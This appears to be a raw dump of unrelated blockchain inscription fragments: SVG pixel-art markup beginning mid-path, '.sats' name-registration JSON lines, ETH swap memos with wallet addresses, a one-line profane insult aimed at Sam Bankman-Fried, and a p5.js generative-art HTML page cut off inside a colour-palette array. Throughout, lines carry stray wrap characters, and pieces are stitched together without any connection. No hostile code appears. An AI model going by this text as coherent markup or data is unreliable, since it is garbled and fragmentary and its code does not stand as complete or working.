1m3 0h1m13 0h4m1 0h1m-23 1h2m2 0h1m-3 1h2m1 0h1m-2 1h1m1 0h1m-2 1h1m9 0h1m1 0h1m3 0h1m2 0h1m-19 1h1m1 0h1m-2 1h1m0 1h2m0 2h1m2 0h1m4 0h1m1 0h1m3 0h1m-14 1h2m6 0h1"></path><path stroke="#737477" d="m2 14h2m-1 2h3m0 1h2m-2 1h3m-2 1h1m1 0h1m0 1h1m2 0h1m-3 1h2m46 0h1m-48 1h1m3 0h1m41 0h2m-48 1h1m1 0h1m40 0h5m-47 1h1m1 0h1m37 0h1m2 0h2m-38 1h1m34 0h1m0 1h1m-34 1h1m-6 1h1m32 1h1m-3 1h1m-31 1h1m27 0h1m-25 1h1m21 0h1m-3 1h1m-21 1h1m17 0h1m-18 1h1m5 1h1m-5 1h1m0 1h1"></path><path stroke="#88837a" d="m5 14h1m2 2h1m0 1h1m1 1hM
1m0 1h1m3 5h1m2 0h1m34 0h2m2 0h1m-43 1h2m33 0h1m1 0h2m1 0h2m-42 1h1m1 0h1m3 0h1m26 0h1m2 0h4m-39 1h4m33 0h1m-35 1h2m0 1h1m-2 1h1m1 0h2m16 0h1m13 0h1m-34 1h1m1 0h2m25 1h1m-3 1h1m-24 1h1m20 0h1m-9 1h1m5 0h1m-15 1h1m4 0h1m4 1h1"></path><path stroke="#7e8590" d="M3 15h1m1 2h1m48 0h1m1 1h1M4 19h1m3 0h1m41 0h1m1 0h1M4 20h1m4 0h1m37 0h1m6 0h1M4 21h1m5 0h1m4 0h1m35 0h1M4 22h1m6 0h1m1 0h1m31 0h1m2 0h1m-36 1h1m29 0h1m5 0h1m-10 1h1m5 0h1m-32 1h1m22 0h1m3 0h1m-30 1h1m3 0h1m18 0h1m-23 1h1m19 0h1m4 0h1m1 0h1m9 0h1m-37 1h1m9 0h1mM
6 0h1m4 0h1m-12 1h1m28 0h1m-38 1h1m9 0h3m4 0h1m15 1h1m-32 1h1m0 1h1m25 0h1m8 0h1m-35 1h1m22 0h1m-23 1h1m19 0h1m9 0h1m-30 1h2m6 0h1m2 0h1m5 0h1m9 0h1m-27 1h1m1 0h1m21 0h1m-24 1h1m1 0h1m8 0h1m1 0h1m8 0h1m-21 1h3m5 0h1m9 0h1m-3 1h1m-4 2h1m-14 1h1m10 0h1m-10 1h1m6 0h1"></path><path stroke="#40565f" d="M59 17h1M4 18h1m54 0h1M5 19h1m52 0h2M6 20h1m50 0h2M7 21h1m47 0h2M8 22h1m44 0h2M4 23h1m5 0h1m39 0h3m-42 1h1m36 0h3m-39 1h1m6 0h1m27 0h2m-35 1h1m6 0h1m23 0h2m-32 1h1m6 0h1m21 0h1M9 28h1m6 0h1m6 0h2m16 0h2m13 0h2m-41 1h1m7 0M
h1m14 0h1m13 0h1m2 0h1m-39 1h1m6 0h2m9 0h2m13 0h1m4 0h1m-38 1h1m7 0h9m13 0h1m6 0h1m-37 1h1m26 0h1m8 0h1m-43 1h1m6 0h1m23 0h1m10 0h1m-34 1h1m19 0h1m10 0h2m-32 1h1m16 0h1m11 0h1m-29 1h1m13 0h1m11 0h1m-33 1h1m7 0h1m8 0h2m11 0h1m-22 1h8m12 0h1m-3 1h1m-3 1h1m-3 1h1m-18 1h1m15 0h1m-3 1h1m-12 1h1m8 0h1m-8 1h6"></path><path stroke="#b4b5b8" d="m5 20h1m-1 4h1m6 6h1m1 2h1m28 6h1m-4 1h1m1 0h1m1 0h1m-17 1h1m9 0h3m-16 1h1m2 0h2m1 0h5m2 0h1m2 0h1m-13 1h3m1 0h1m1 0h4m-10 1h10m-8 1h5"></path><path stroke="#c2c3c4" d="m30 41h1m5 0hM
2m-6 1h1m1 0h1m1 2h1"></path><g opacity="0.8" transform="translate(6 13) skewX(55) skewY(-15) scale(1.8,0.7)">.2" viewBox="0 0 24 24"&gt;<rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="8"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="11"></rect><rect fill="#M
000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="13"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="5" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="7"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="8"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="M
1" y="6" x="9"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="10"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="11"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="12"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="13"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="6" x="14"></rect><rect fill="#000000ff" shape-rendM
ering="crispEdges" height="1" width="1" y="6" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="6"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="7"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="8"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="9"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="10"></rectM
><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="11"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="12"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="13"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="14"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="7" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" heM
ight="1" width="1" y="7" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="5"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="6"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="7"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="8"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="9"></rect><rect fill="#933709ffM
" shape-rendering="crispEdges" height="1" width="1" y="8" x="10"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="11"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="12"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="13"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="14"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="M
8" x="15"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="8" x="17"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="5"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="6"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="7"></rect><rect fill="#933709ff" shape-rendering="cM
rispEdges" height="1" width="1" y="9" x="8"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="9"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="10"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="11"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="12"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="13"></rect><rectM
 fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="14"></rect><rect fill="#ca4e11ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="15"></rect><rect fill="#933709ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="9" x="17"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="M
1" width="1" y="10" x="7"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="8"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="12"></rect><rect fill="#000000M
ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="13"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="10" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="6"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="M
1" y="11" x="7"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="8"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="11" x="9"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="11" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="11"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="12"></rect><rect fill="#000000ff" shape-M
rendering="crispEdges" height="1" width="1" y="11" x="13"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="11" x="14"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="11" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="11" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="5"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="12" M
x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="7"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="8"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="12" x="9"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="12" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="11"></rect><rect fill="#dbb180ff" shape-rendering="M
crispEdges" height="1" width="1" y="12" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="13"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="12" x="14"></rect><rect fill="#80dbdaff" shape-rendering="crispEdges" height="1" width="1" y="12" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="12" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="5"></reM
ct><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="7"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="8"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges"M
 height="1" width="1" y="13" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="13"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="13" x="16"></rect><rect fM
ill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="5"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1"M
 width="1" y="14" x="10"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="14"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="15"></rect><rect fill="#00000M
0ff" shape-rendering="crispEdges" height="1" width="1" y="14" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="6"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="15" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1"M
 y="15" x="10"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="11"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="14"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="15" x="15"></rect><rect fill="#000000ff" shapeM
-rendering="crispEdges" height="1" width="1" y="15" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="6"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="16" x="7"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="16" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x=M
"10"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="16" x="14"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="16" x="15"></rect><rect fill="#000000ff" shape-renderingM
="crispEdges" height="1" width="1" y="16" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="6"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="17" x="7"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="17" x="8"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="17" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="10"></recM
t><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="17" x="14"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="17" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdgM
es" height="1" width="1" y="17" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="7"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="18" x="8"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="18" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="10"></rect><rect fiM
ll="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="11"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="18" x="14"></rect><rect fill="#a66e2cff" shape-rendering="crispEdges" height="1" width="1" y="18" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" heightM
="1" width="1" y="18" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="10"></rect><rect fill="#dbb18M
0ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="14"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="19" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" widthM
="1" y="19" x="16"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="9"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="10"></rect><rect fill="#dbb180ff" shapeM
-rendering="crispEdges" height="1" width="1" y="20" x="11"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="12"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="13"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="20" x="15"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21M
" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="11"></rect><rect fill="#000000ff" shape-renderingM
="crispEdges" height="1" width="1" y="21" x="12"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="13"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="21" x="14"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="8"></reM
ct><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="22" x="10"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="23" x="6"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="23" x="7"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges" height="1" width="1" y="23" x="8"></rect><rect fill="#dbb180ff" shape-rendering="crispEdges"L
 height="1" width="1" y="23" x="9"></rect><rect fill="#000000ff" shape-rendering="crispEdges" height="1" width="1" y="23" x="10"></rect></g></svg>h!
Aj?=:ETH.ETH:0x621c3cee22181124d47b34fc9085874af559ceb7:1348964390
6j4ion:4.QmRZN7QNzqzy1wXrBhj3V5FkDJj13t44MhMgmXzfsuJECm
text/plain;charset=utf-8
  "name": "satoshistore.sats"
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"Apache.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"0876.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"asics.sats"}h!
text/plain;charset=utf-8
  "name": "aaj.sats"
text/plain;charset=utf-8
  "name": "aag.sats"
text/plain;charset=utf-8
  "name": "aaf.sats"
text/plain;charset=utf-8
  "name": "aau.sats"
text/plain;charset=utf-8
  "name": "abo.sats"
Bj@=:ETH.ETH:0xf4b750e3ec35d85B5681709210E1b0b42dd0D706:18908653::0
text/plain;charset=utf-8
Fuck You Sam Bankman-Fried .h!
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <script sandbox="allow-scripts" type="text/javascript"
        src="https://cdn.jsdelivr.nM
et/npm/tonal/browser/tonal.min.js"></script>
    <script type="text/javascript">
        var cnv;let points=[],start=0,speed=2,wdt,margin=60,w=500,h=300,tileWidth=100,tileHeight=100,sclX=5,sclY=10,paletteIndex2=0,paletteType,paletteIndex3=0,globalNote,mainIndex=0,bnd,phi=3.14*(137.51/180),cbn=0,cbn2=0,duration=0,savedTime,startx1=0,starty1=0,start1=0,rootInc=0,format,currentKey,voiceChord=!1,randForm=0,notePlay,pastNote,keyFifths=[],sequence=[],chordArray=[],bassChord=[],reading,state,lastState,oscill,oscill2,trM
ig=!1,bckg=["#F3F3F3","#000000"],palette1=[["#ce2d42","#082880","#7462f9","#f4b53f","#123676","#9c223d","#e6c7b4"],["#f43b79","#1136ed","#6b43dd","#ef9029","#4aa4ae","#69239b","#f7f1b4"],["#7fefe4","#be3edd","#70cfe5","#f2c666","#e6c7b4","#583fc4","#fff57d"],["#80aded","#7b66f7","#658fdb","#f2e18b","#f7f1b4","#773caa","#f4b537"],["#a5e2f2","#a783ed","#61c1db","#f7c872","#6eabf4","#6d52dd","#ff7db2"],["#d8d8d8","#898de0","#89afe5","#f9e78f","#85b2e8","#8110e5","#bf2b6e"],["#7094fc","#643ac9","#306bef","#9100dd","#e6M
c7b4","#e2396d","#ef3a65"],["#80aded","#a28fef","#4688e8","#db003a","#f7f1b4","#d632a4","#bc174e"],["#594499","#db3e3e","#25ceb2","#02827b","#a0a09f","#56661d","#34067c"],["#425999","#bc3f3f","#9fe2cc","#108fc1","#d37676","#132691","#5b3c96"],["#ffeda1","#91205c","#2929e2","#9509b7","#70b9c0","#5474e8","#d30b8c"],["#f9cfc7","#721b74","#1c70ea","#7c1d93","#919bdb","#5574ce","#f25c87"],["#f25a7b","#e960af","#992843","#8b52f7","#6eabf4","#3714a1","#445b96"],["#ff399c","#e73250","#d32f53","#33bbff","#7de7ff","#69239b",M
"#8041f9"],["#6f6674","#34a0a5","#992843","#f98450","#6eabf4","#3714a1","#445b96"],["#4d82aa","#24c6c6","#d32f53","#f973a0","#7de7ff","#69239b","#8041f9"],["#ff6d40","#361ee0","#992843","#e6c7b4","#9370f2","#3714a1","#445b96"],["#e6372f","#3a338e","#d32f53","#f7f1b4","#8092ff","#69239b","#8041f9"],["#ffa943","#2177f4","#35fc93","#f9cfd2","#6eabf4","#3714a1","#445b96"],["#ffce45","#2f7083","#5affdf","#fcf4b7","#7de7ff","#69239b","#8041f9"],["#41d9f2","#528cd1","#3a6eba","#5f64c1","#4a97f4","#7426bf","#f7d52f"],["#71M
f2ff","#249cff","#63a1ea","#7f88db","#56a6f4","#7f0caf","#f7b643"],["#41d9f2","#51fcbb","#d3057b","#295cff","#7d22ff","#51d7e5","#e6c7b4"],["#71f2ff","#81fcca","#f91cb0","#0239c1","#8450d6","#05bdc6","#f7f1b4"],["#43bbef","#53f9e4","#bf2640","#5082ff","#8648ff","#36ffcf","#881ed3"],["#6bcced","#fce586","#f93ebb","#52a1ff","#8e51a8","#05bdc6","#ff0895"],["#a745ed","#fcbbbb","#f20a41","#ffd252","#0606bf","#ff459e","#881ed3"],["#7b19d1","#a7d0f9","#ba0f40","#fcd5bb","#4545ce","#9666ff","#ff0895"],["#31a4dd","#6f3bff",M
"#f20a41","#4470a5","#7171f4","#e710f9","#2e92ff"],["#ffffab","#8e7de2","#ba0f40","#9312b2","#85b5f9","#830591","#034a7f"],["#06a0ba","#6f3bff","#f20a41","#8777f7","#4848c1","#6b11f7","#e6c7b4"],["#2bc5cc","#8e7de2","#ba0f40","#6155bf","#4b4bf7","#a318b7","#f7f1b4"],["#06a0ba","#6f3bff","#8473ff","#fce875","#4848c1","#ffb3c9","#2e92ff"],["#2bc5cc","#8e7de2","#9e61ba","#ffd2c7","#0f0fce","#f7e579","#034a7f"],["#c10839","#6f3bff","#ff06a6","#f2a5bb","#4848c1","#117ff7","#579ef2"],["#a20dd3","#8e7de2","#aa08ff","#f2ecM
79","#0f0fce","#a60abc","#1b64ce"],["#06a0ba","#6f3bff","#fca660","#f7f377","#9149bf","#f71165","#31f0ff"],["#2bc5cc","#8e7de2","#dd582a","#ffe09c","#630ca8","#a8275c","#04717c"],["#e041b3","#3e71ff","#ffec64","#77c1f7","#9149bf","#f71165","#e6c7b4"],["#f95089","#8e7de2","#f99175","#1d6bdd","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#0636cc","#8989ef","#e6c7b4","#8005e0","#fc68a4","#3386ff"],["#fc889e","#3b72a3","#2d5cc4","#f7f1b4","#f938cb","#d61a1a","#04717c"],["#f4d334","#3ef6ff","#5347f4","#b877f7","#9149bf","#M
f71165","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#6e1ed6","#630ca8","#a8275c","#f7f1b4"],["#f4d334","#3ef6ff","#5347f4","#f7f777","#9149bf","#ef5090","#e6c7b4"],["#fc889e","#1fb2b2","#2d5cc4","#ffce88","#630ca8","#ba0457","#f7f1b4"],["#f4d334","#3ef6ff","#5347f4","#77c4f7","#9149bf","#f71165","#854fba"],["#fc889e","#1fb2b2","#2d5cc4","#2187bf","#630ca8","#a8275c","#e783ea"],["#f4d334","#3ef6ff","#f97575","#f4dc78","#9149bf","#f71165","#e6c7b4"],["#fc889e","#1fb2b2","#cc2929","#f28b79","#630ca8","#a8275c","#f7f1b4M
"],["#f4d334","#3ef6ff","#f97575","#f279ab","#9149bf","#645eea","#e6c7b4"],["#fc889e","#52adff","#cc2929","#e81073","#630ca8","#3a3acc","#f7f1b4"],["#3ac9d8","#6f3bff","#44acf2","#fce875","#bf23f9","#ffb3c9","#2e92ff"],["#44acf2","#8e7de2","#6cffff","#ffd2c7","#9449ce","#f7e579","#034a7f"],["#06a0ba","#6f3bff","#fc4c7e","#f9b175","#6c6ce5","#8f58f9","#e6c7b4"],["#2bc5cc","#8e7de2","#cf4ef9","#f7df77","#4949c1","#a915ff","#f7f1b4"],["#ef01c4","#065ca8","#1c00ba","#ffee94","#c053ba","#8f58f9","#4ea8f9"],["#a60160","#M
30bec3","#5e52db","#ffebae","#da55f2","#a915ff","#4febf7"],["#f44260","#3c5ba0","#845ecc","#f4b53f","#3d9fc1","#9c223d","#e6c7b4"],["#f43b79","#4058ad","#6c3ca5","#ef9029","#317ec4","#69239b","#f7f1b4"],["#f44260","#3c5ba0","#7070e8","#f27740","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#4058ad","#4d4dc1","#ef9029","#317ec4","#ed5487","#f7f1b4"],["#f244ee","#5c75c6","#7070e8","#3cd3b6","#3d9fc1","#d34040","#e6c7b4"],["#f43b79","#637cc1","#4d4dc1","#1cb7b7","#317ec4","#ed5487","#f7f1b4"],["#e5491f","#2058d3","#7462f9M
